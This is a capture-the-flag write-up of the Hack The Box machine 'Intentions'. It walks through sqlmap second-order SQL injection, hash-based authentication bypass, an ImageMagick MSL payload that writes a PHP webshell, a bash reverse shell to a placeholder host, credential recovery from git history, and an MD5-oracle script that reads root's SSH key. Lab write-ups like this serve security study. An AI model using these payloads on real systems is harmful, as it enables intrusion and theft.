Post

Intentions

A gallery app's genre preference field was vulnerable to second-order SQL injection that dumped admin bcrypt hashes; an undocumented v2 API accepted the raw hash in lieu of a password, granting admin access where a crafted ImageMagick MSL payload wrote a PHP webshell and landed a shell as www-data.

Intentions

Overview

Intentions is a hard Linux machine hosting a photo gallery web application. The path to foothold chains three techniques: a second-order SQL injection in the genre preference field dumps admin bcrypt hashes, an undocumented v2 API endpoint accepts those hashes directly as credentials (an authentication bypass), and the admin image editor processes a crafted ImageMagick MSL XML file via a PHP temp-file wildcard to achieve code injection and write a webshell as www-data. Lateral movement to greg comes from plaintext SSH credentials committed and later reverted in the app’s git history, while root is reached by abusing a cap_dac_read_search capability on a scanner binary that acts as an MD5 oracle, recovering /root/.ssh/id_rsa byte by byte.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Enumeration and Real-Life scores reflect the multi-layer API discovery and the realistic attack techniques of second-order SQLi, credential exposure in git history, and capability abuse; the CVE axis is flat because no named public CVE drives the chain, while Custom Exploitation scores high for the bespoke MSL payload and Python MD5 oracle script.

Recon

PortServiceNotes
22/tcpOpenSSHSSH access
80/tcpnginxPHP gallery app — intentions.htb
1
2
ports=$(nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV -Pn 10.10.10.X

Only two ports open — SSH on 22 and nginx on 80 serving a PHP-based photo gallery application at intentions.htb that requires registration to use.

Enumeration

Add the vhost to /etc/hosts:

1
echo "10.10.10.X intentions.htb" | sudo tee -a /etc/hosts

Directory enumeration of the web root reveals /admin, /gallery, and /storage:

1
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -t 100 -u http://intentions.htb/ -b 403,404

Enumeration of the API path tree uncovers an undocumented v2 login endpoint that returns HTTP 405 (method not allowed on GET, expecting POST):

1
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -t 100 -u http://intentions.htb/api/v2/auth/ -b 403,404

Probing the v2 endpoint shows it expects email and hash fields — not password:

1
curl -X POST http://intentions.htb/api/v2/auth/login

After registering a normal user, the “Favorite Genres” preference field at /api/v1/gallery/user/genres stores input into the database. The /api/v1/gallery/user/feed endpoint later reads those values and builds a SQL query via string concatenation — a classic second-order SQL injection pattern. Capture the genres update request and the feed fetch request in Burp Suite, save them as updateGenresRequest and fetchFeedRequest, then confirm the injection:

1
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment

The space2comment tamper replaces spaces with /**/ to bypass the space-stripping filter. Enumerate tables:

1
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment --tables

Dump the users table to retrieve bcrypt hashes for admin accounts [email protected] and [email protected]:

1
sqlmap -r updateGenresRequest --second-req=fetchFeedRequest --batch --tamper=space2comment -T users --dump

Foothold

With the admin bcrypt hash for steve, authenticate directly against the v2 API — the endpoint accepts the hash as proof of identity, bypassing password verification entirely (CWE-288):

1
curl -s -d '[email protected]&hash=$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa' -X POST http://intentions.htb/api/v2/auth/login

This returns {"status":"success","name":"steve"} and sets a JWT cookie granting admin access to the image editor at /api/v2/admin/image/modify.

Create a malicious ImageMagick MSL XML payload. When ImageMagick processes this file, it writes a PHP webshell to the public storage path (CWE-94):

1
printf '<?xml version="1.0" encoding="UTF-8"?>\n<image>\n  <read filename="caption:<?php @passthru(@$_REQUEST['"'"'c'"'"']); ?>" />\n  <write filename="info:/var/www/html/intentions/storage/app/public/rce.php" />\n</image>\n' > payload.msl

Upload the MSL file via the image modify endpoint. PHP writes the uploaded file to a /tmp/phpXXXXXX temporary path; the vid:msl:/tmp/php* wildcard URI instructs ImageMagick to process any matching temp file as an MSL script:

1
2
3
4
5
6
7
curl 'http://intentions.htb/api/v2/admin/image/modify' \
  -X POST \
  -H 'X-XSRF-TOKEN: <token>' \
  -H 'Cookie: XSRF-TOKEN=<token>; token=<jwt>' \
  -F 'path=vid:msl:/tmp/php*' \
  -F 'effect=asd' \
  -F '[email protected]'

Verify the webshell was written and is executing:

1
curl 'http://intentions.htb/storage/rce.php?c=id'

This returns uid=33(www-data). Trigger a reverse shell:

1
curl 'http://intentions.htb/storage/rce.php' --data 'c=bash+-c+"bash+-i+>%26+/dev/tcp/<lhost>/<lport>+0>%261"'

Lateral Movement

As www-data, the application’s .git directory is readable. Git added a safe.directory restriction in newer versions, but it can be bypassed by writing a gitconfig to a writable location:

1
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions

List all commits to identify interesting history:

1
HOME=/tmp git -C /var/www/html/intentions log --all --oneline

Grep the full patch diffs for credentials committed and later reverted (CWE-540):

1
HOME=/tmp git -C /var/www/html/intentions log -p --all | grep -iE '^\+.*(password|secret|key|token|DB_PASS)' | head -30

This reveals greg:Gr3g1sTh3B3stDev3l0per!1998 on a + diff line — added in one commit, removed in the next, but permanently stored in the object store. SSH in as greg:

1
sshpass -p 'Gr3g1sTh3B3stDev3l0per!1998' ssh [email protected]

User flag

1
cat /home/greg/user.txt   # HTB{...}

Landed as greg via credentials recovered from git history; user flag is ours.

Privilege Escalation

Audit Linux capabilities on the filesystem (CWE-250):

1
getcap -r / 2>/dev/null

This shows /opt/scanner/scanner has cap_dac_read_search+eip — the binary can open and read any file on the system regardless of ownership or permissions. Inspect its flags:

1
/opt/scanner/scanner --help

The -l N flag hashes only the first N bytes of the target file, and -n outputs the raw MD5 without the filename. This is an oracle: by calling the binary with -l 1, -l 2, etc., and comparing each output against the MD5 of every printable character appended to the already-known prefix, each byte of any file can be recovered one at a time.

Test the oracle against a root-owned file:

1
/opt/scanner/scanner -c 7Bear4C5Bu11LongL3g -f /root/root.txt -l 1 -n -i

Save the extraction script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
cat > /tmp/extract.py << 'PYEOF'
import subprocess, hashlib, string, sys

BINARY = "/opt/scanner/scanner"
KEY = "7Bear4C5Bu11LongL3g"
TARGET = sys.argv[1] if len(sys.argv) > 1 else "/root/.ssh/id_rsa"
CHARS = string.printable

known = ""
while True:
    matched = False
    for c in CHARS:
        candidate = known + c
        l = len(candidate)
        result = subprocess.run(
            [BINARY, "-c", KEY, "-f", TARGET, "-l", str(l), "-n", "-i"],
            capture_output=True, text=True
        )
        expected = hashlib.md5(candidate.encode()).hexdigest()
        if result.stdout.strip() == expected:
            known = candidate
            sys.stdout.write(c); sys.stdout.flush()
            matched = True
            break
    if not matched:
        break
print()
PYEOF

Run the extractor against root’s SSH private key (takes roughly 2-3 minutes):

1
python3 /tmp/extract.py /root/.ssh/id_rsa > /tmp/root_key && chmod 600 /tmp/root_key

SSH as root using the recovered private key:

1
ssh -i /tmp/root_key [email protected]

Root flag

1
cat /root/root.txt   # HTB{...}

Full compromise achieved — root access obtained by recovering the private key byte-by-byte through the cap_dac_read_search MD5 oracle.

This post is licensed under CC BY 4.0 by the author.